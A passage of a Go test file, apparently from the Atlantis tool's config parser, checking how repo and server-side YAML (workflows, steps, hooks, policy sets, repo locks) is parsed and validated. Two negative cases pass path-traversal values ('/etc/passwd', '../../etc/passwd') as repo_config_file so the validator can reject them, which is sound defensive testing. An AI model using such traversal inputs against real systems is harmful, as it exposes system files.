name: myname\n  dir: .\n  workspace: workspace\n- name: myname2\n  dir: .\n  workspace: workspace`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tName:      String(\"myname\"),\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"workspace\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tName:      String(\"myname2\"),\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"workspace\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"if steps are set then we parse them properly\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    policy_check:\n      steps:\n      - init\n      - policy_check\n    apply:\n      steps:\n      - plan # NOTE: we don't validate if they make sense\n      - apply\n    import:\n      steps:\n      - import\n    state_rm:\n      steps:\n      - state_rm\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": {\n\t\t\t\t\t\tName: \"default\",\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"init\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"init\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"apply\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"import\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"state_rm\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"we parse extra_args for the steps\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\nworkflows:\n  default:\n    plan:\n      steps:\n      - init:\n          extra_args: []\n      - plan:\n          extra_args:\n          - arg1\n          - arg2\n    policy_check:\n      steps:\n      - policy_check:\n          extra_args:\n          - arg1\n    apply:\n      steps:\n      - plan:\n          extra_args: [a, b]\n      - apply:\n          extra_args: [\"a\", \"b\"]\n    import:\n      steps:\n      - import:\n          extra_args: [\"a\", \"b\"]\n    state_rm:\n      steps:\n      - state_rm:\n          extra_args: [\"a\", \"b\"]\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": {\n\t\t\t\t\t\tName: \"default\",\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"init\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"plan\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{\"arg1\", \"arg2\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"policy_check\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{\"arg1\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"plan\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{\"a\", \"b\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"apply\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{\"a\", \"b\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"import\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{\"a\", \"b\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:  \"state_rm\",\n\t\t\t\t\t\t\t\t\tExtraArgs: []string{\"a\", \"b\"},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"custom steps are parsed\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\nworkflows:\n  default:\n    plan:\n      steps:\n      - run: \"echo \\\"plan hi\\\"\"\n    policy_check:\n      steps:\n      - run: \"echo \\\"opa hi\\\"\"\n    apply:\n      steps:\n      - run: echo apply \"arg 2\"\n    import:\n      steps:\n      - run: echo apply \"arg 3\"\n    state_rm:\n      steps:\n      - run: echo apply \"arg 4\"\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": {\n\t\t\t\t\t\tName: \"default\",\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"echo \\\"plan hi\\\"\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"echo \\\"opa hi\\\"\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"echo apply \\\"arg 2\\\"\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"echo apply \\\"arg 3\\\"\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"echo apply \\\"arg 4\\\"\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"env steps\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\nworkflows:\n  default:\n    plan:\n      steps:\n      - env:\n          name: env_name\n          value: env_value\n    policy_check:\n      steps:\n      - env:\n          name: env_name\n          value: env_value\n    apply:\n      steps:\n      - env:\n          name: env_name\n          command: command and args\n    import:\n      steps:\n      - env:\n          name: env_name\n          value: env_value\n    state_rm:\n      steps:\n      - env:\n          name: env_name\n          value: env_value\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": {\n\t\t\t\t\t\tName: \"default\",\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:    \"env\",\n\t\t\t\t\t\t\t\t\tEnvVarName:  \"env_name\",\n\t\t\t\t\t\t\t\t\tEnvVarValue: \"env_value\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:    \"env\",\n\t\t\t\t\t\t\t\t\tEnvVarName:  \"env_name\",\n\t\t\t\t\t\t\t\t\tEnvVarValue: \"env_value\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"env\",\n\t\t\t\t\t\t\t\t\tEnvVarName: \"env_name\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"command and args\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:    \"env\",\n\t\t\t\t\t\t\t\t\tEnvVarName:  \"env_name\",\n\t\t\t\t\t\t\t\t\tEnvVarValue: \"env_value\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:    \"env\",\n\t\t\t\t\t\t\t\t\tEnvVarName:  \"env_name\",\n\t\t\t\t\t\t\t\t\tEnvVarValue: \"env_value\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\ttmpDir := t.TempDir()\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := os.WriteFile(filepath.Join(tmpDir, \"atlantis.yaml\"), []byte(c.input), 0600)\n\t\t\tOk(t, err)\n\n\t\t\tr := config.ParserValidator{}\n\t\t\tact, err := r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, act)\n\t\t})\n\t}\n}\n\n// Test that we fail if the global validation fails. We test global validation\n// more completely in GlobalCfg.ValidateRepoCfg().\nfunc TestParseRepoCfg_GlobalValidation(t *testing.T) {\n\ttmpDir := t.TempDir()\n\n\trepoCfg := `\nversion: 3\nprojects:\n- dir: .\n  workflow: custom\nworkflows:\n  custom: ~`\n\terr := os.WriteFile(filepath.Join(tmpDir, \"atlantis.yaml\"), []byte(repoCfg), 0600)\n\tOk(t, err)\n\n\tr := config.ParserValidator{}\n\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\n\t_, err = r.ParseRepoCfg(tmpDir, valid.NewGlobalCfgFromArgs(globalCfgArgs), \"repo_id\", \"branch\")\n\tErrEquals(t, \"repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'\", err)\n}\n\nfunc TestParseGlobalCfg_NotExist(t *testing.T) {\n\tr := config.ParserValidator{}\n\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\t_, err := r.ParseGlobalCfg(\"/not/exist\", valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\tErrEquals(t, \"unable to read /not/exist file: open /not/exist: no such file or directory\", err)\n}\n\nfunc TestParseGlobalCfg(t *testing.T) {\n\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\n\tdefaultCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\tpreWorkflowHook := &valid.WorkflowHook{\n\t\tStepName:   \"run\",\n\t\tRunCommand: \"custom workflow command\",\n\t}\n\tpreWorkflowHooks := []*valid.WorkflowHook{preWorkflowHook}\n\n\tpostWorkflowHook := &valid.WorkflowHook{\n\t\tStepName:   \"run\",\n\t\tRunCommand: \"custom workflow command\",\n\t}\n\tpostWorkflowHooks := []*valid.WorkflowHook{postWorkflowHook}\n\n\tcustomWorkflow1 := valid.Workflow{\n\t\tName: \"custom1\",\n\t\tPlan: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom command\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName:  \"init\",\n\t\t\t\t\tExtraArgs: []string{\"extra\", \"args\"},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tPolicyCheck: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom command\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName:  \"plan\",\n\t\t\t\t\tExtraArgs: []string{\"extra\", \"args\"},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tApply: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom command\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"apply\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tImport: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom command\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"import\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tStateRm: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom command\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName: \"state_rm\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tconftestVersion, _ := version.NewVersion(\"v1.0.0\")\n\n\tcases := map[string]struct {\n\t\tinput  string\n\t\texpErr string\n\t\texp    valid.GlobalCfg\n\t}{\n\t\t\"empty file\": {\n\t\t\tinput:  \"\",\n\t\t\texpErr: \"file <tmp> was empty\",\n\t\t},\n\t\t\"invalid fields\": {\n\t\t\tinput:  \"invalid: key\",\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 1: field invalid not found in type raw.GlobalCfg\",\n\t\t},\n\t\t\"no id specified\": {\n\t\t\tinput: `repos:\n- apply_requirements: []`,\n\t\t\texpErr: \"repos: (0: (id: cannot be blank.).).\",\n\t\t},\n\t\t\"invalid id regex\": {\n\t\t\tinput: `repos:\n- id: /?/`,\n\t\t\texpErr: \"repos: (0: (id: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).\",\n\t\t},\n\t\t\"invalid branch regex\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  branch: /?/`,\n\t\t\texpErr: \"repos: (0: (branch: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).\",\n\t\t},\n\t\t\"invalid repo_config_file which starts with a slash\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  repo_config_file: /etc/passwd`,\n\t\t\texpErr: \"repos: (0: (repo_config_file: must not starts with a slash '/'.).).\",\n\t\t},\n\t\t\"invalid repo_config_file which contains parent directory path\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  repo_config_file: ../../etc/passwd`,\n\t\t\texpErr: \"repos: (0: (repo_config_file: must not contains parent directory path like '../'.).).\",\n\t\t},\n\t\t\"workflow doesn't exist\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  workflow: notdefined`,\n\t\t\texpErr: \"workflow \\\"notdefined\\\" is not defined\",\n\t\t},\n\t\t\"invalid allowed_override\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  allowed_overrides: [invalid]`,\n\t\t\texpErr: \"repos: (0: (allowed_overrides: \\\"invalid\\\" is not a valid override, only \\\"plan_requirements\\\", \\\"apply_requirements\\\", \\\"import_requirements\\\", \\\"workflow\\\", \\\"delete_source_branch_on_merge\\\", \\\"repo_locking\\\", \\\"repo_locks\\\", \\\"policy_check\\\", \\\"custom_policy_check\\\", and \\\"silence_pr_comments\\\" are supported.).).\",\n\t\t},\n\t\t\"invalid plan_requirement\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  plan_requirements: [invalid]`,\n\t\t\texpErr: \"repos: (0: (plan_requirements: \\\"invalid\\\" is not a valid plan_requirement, only \\\"approved\\\", \\\"mergeable\\\" and \\\"undiverged\\\" are supported.).).\",\n\t\t},\n\t\t\"invalid apply_requirement\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  apply_requirements: [invalid]`,\n\t\t\texpErr: \"repos: (0: (apply_requirements: \\\"invalid\\\" is not a valid apply_requirement, only \\\"approved\\\", \\\"mergeable\\\" and \\\"undiverged\\\" are supported.).).\",\n\t\t},\n\t\t\"invalid import_requirement\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  import_requirements: [invalid]`,\n\t\t\texpErr: \"repos: (0: (import_requirements: \\\"invalid\\\" is not a valid import_requirement, only \\\"approved\\\", \\\"mergeable\\\" and \\\"undiverged\\\" are supported.).).\",\n\t\t},\n\t\t\"invalid silence_pr_comments\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  silence_pr_comments: [invalid]`,\n\t\t\texpErr: \"server-side repo config 'silence_pr_comments' key value of 'invalid' is not supported, supported values are [plan, apply]\",\n\t\t},\n\t\t\"disable autodiscover\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  autodiscover:\n    mode: disabled`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultCfg.Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tIDRegex:      regexp.MustCompile(\".*\"),\n\t\t\t\t\t\tAutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverDisabledMode},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: defaultCfg.Workflows,\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"disable repo locks\": {\n\t\t\tinput: `repos:\n- id: /.*/\n  repo_locks:\n    mode: disabled`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultCfg.Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tIDRegex:   regexp.MustCompile(\".*\"),\n\t\t\t\t\t\tRepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksDisabledMode},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: defaultCfg.Workflows,\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"no workflows key\": {\n\t\t\tinput: `repos: []`,\n\t\t\texp:   defaultCfg,\n\t\t},\n\t\t\"workflows empty\": {\n\t\t\tinput: `workflows:`,\n\t\t\texp:   defaultCfg,\n\t\t},\n\t\t\"workflow name but the rest is empty\": {\n\t\t\tinput: `\nworkflows:\n  name:`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: defaultCfg.Repos,\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultCfg.Workflows[\"default\"],\n\t\t\t\t\t\"name\":    defaultWorkflow(\"name\"),\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"workflow stages empty\": {\n\t\t\tinput: `\nworkflows:\n  name:\n    apply:\n    plan:\n    policy_check:\n    import:\n    state_rm:\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: defaultCfg.Repos,\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultCfg.Workflows[\"default\"],\n\t\t\t\t\t\"name\":    defaultWorkflow(\"name\"),\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"workflow steps empty\": {\n\t\t\tinput: `\nworkflows:\n  name:\n    apply:\n      steps:\n    plan:\n      steps:\n    policy_check:\n      steps:\n    import:\n      steps:\n    state_rm:\n      steps:\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: defaultCfg.Repos,\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultCfg.Workflows[\"default\"],\n\t\t\t\t\t\"name\":    defaultWorkflow(\"name\"),\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"all keys specified\": {\n\t\t\tinput: `\nrepos:\n- id: github.com/owner/repo\n  repo_config_file: \"path/to/atlantis.yaml\"\n  apply_requirements: [approved, mergeable]\n  pre_workflow_hooks:\n    - run: custom workflow command\n  workflow: custom1\n  post_workflow_hooks:\n    - run: custom workflow command\n  allowed_overrides: [plan_requirements, apply_requirements, import_requirements, workflow, delete_source_branch_on_merge]\n  allow_custom_workflows: true\n  policy_check: true\n  autodiscover:\n    mode: enabled\n  repo_locks:\n    mode: on_apply\n- id: /.*/\n  branch: /(master|main)/\n  pre_workflow_hooks:\n    - run: custom workflow command\n  post_workflow_hooks:\n    - run: custom workflow command\n  policy_check: false\n  autodiscover:\n    mode: disabled\n  repo_locks:\n    mode: disabled\nworkflows:\n  custom1:\n    plan:\n      steps:\n      - run: custom command\n      - init:\n          extra_args: [extra, args]\n      - plan\n    policy_check:\n      steps:\n      - run: custom command\n      - plan:\n          extra_args: [extra, args]\n      - policy_check\n    apply:\n      steps:\n      - run: custom command\n      - apply\n    import:\n      steps:\n      - run: custom command\n      - import\n    state_rm:\n      steps:\n      - run: custom command\n      - state_rm\npolicies:\n  conftest_version: v1.0.0\n  policy_sets:\n    - name: good-policy\n      path: rel/path/to/policy\n      source: local\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultCfg.Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tRepoConfigFile:       \"path/to/atlantis.yaml\",\n\t\t\t\t\t\tApplyRequirements:    []string{\"approved\", \"mergeable\"},\n\t\t\t\t\t\tPreWorkflowHooks:     preWorkflowHooks,\n\t\t\t\t\t\tWorkflow:             &customWorkflow1,\n\t\t\t\t\t\tPostWorkflowHooks:    postWorkflowHooks,\n\t\t\t\t\t\tAllowedOverrides:     []string{\"plan_requirements\", \"apply_requirements\", \"import_requirements\", \"workflow\", \"delete_source_branch_on_merge\"},\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(true),\n\t\t\t\t\t\tPolicyCheck:          Bool(true),\n\t\t\t\t\t\tAutoDiscover:         &valid.AutoDiscover{Mode: valid.AutoDiscoverEnabledMode},\n\t\t\t\t\t\tRepoLocks:            &valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tIDRegex:           regexp.MustCompile(\".*\"),\n\t\t\t\t\t\tBranchRegex:       regexp.MustCompile(\"(master|main)\"),\n\t\t\t\t\t\tPreWorkflowHooks:  preWorkflowHooks,\n\t\t\t\t\t\tPostWorkflowHooks: postWorkflowHooks,\n\t\t\t\t\t\tPolicyCheck:       Bool(false),\n\t\t\t\t\t\tAutoDiscover:      &valid.AutoDiscover{Mode: valid.AutoDiscoverDisabledMode},\n\t\t\t\t\t\tRepoLocks:         &valid.RepoLocks{Mode: valid.RepoLocksDisabledMode},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultCfg.Workflows[\"default\"],\n\t\t\t\t\t\"custom1\": customWorkflow1,\n\t\t\t\t},\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tVersion:      conftestVersion,\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:         \"good-policy\",\n\t\t\t\t\t\t\tPath:         \"rel/path/to/policy\",\n\t\t\t\t\t\t\tSource:       valid.LocalPolicySet,\n\t\t\t\t\t\t\tApproveCount: 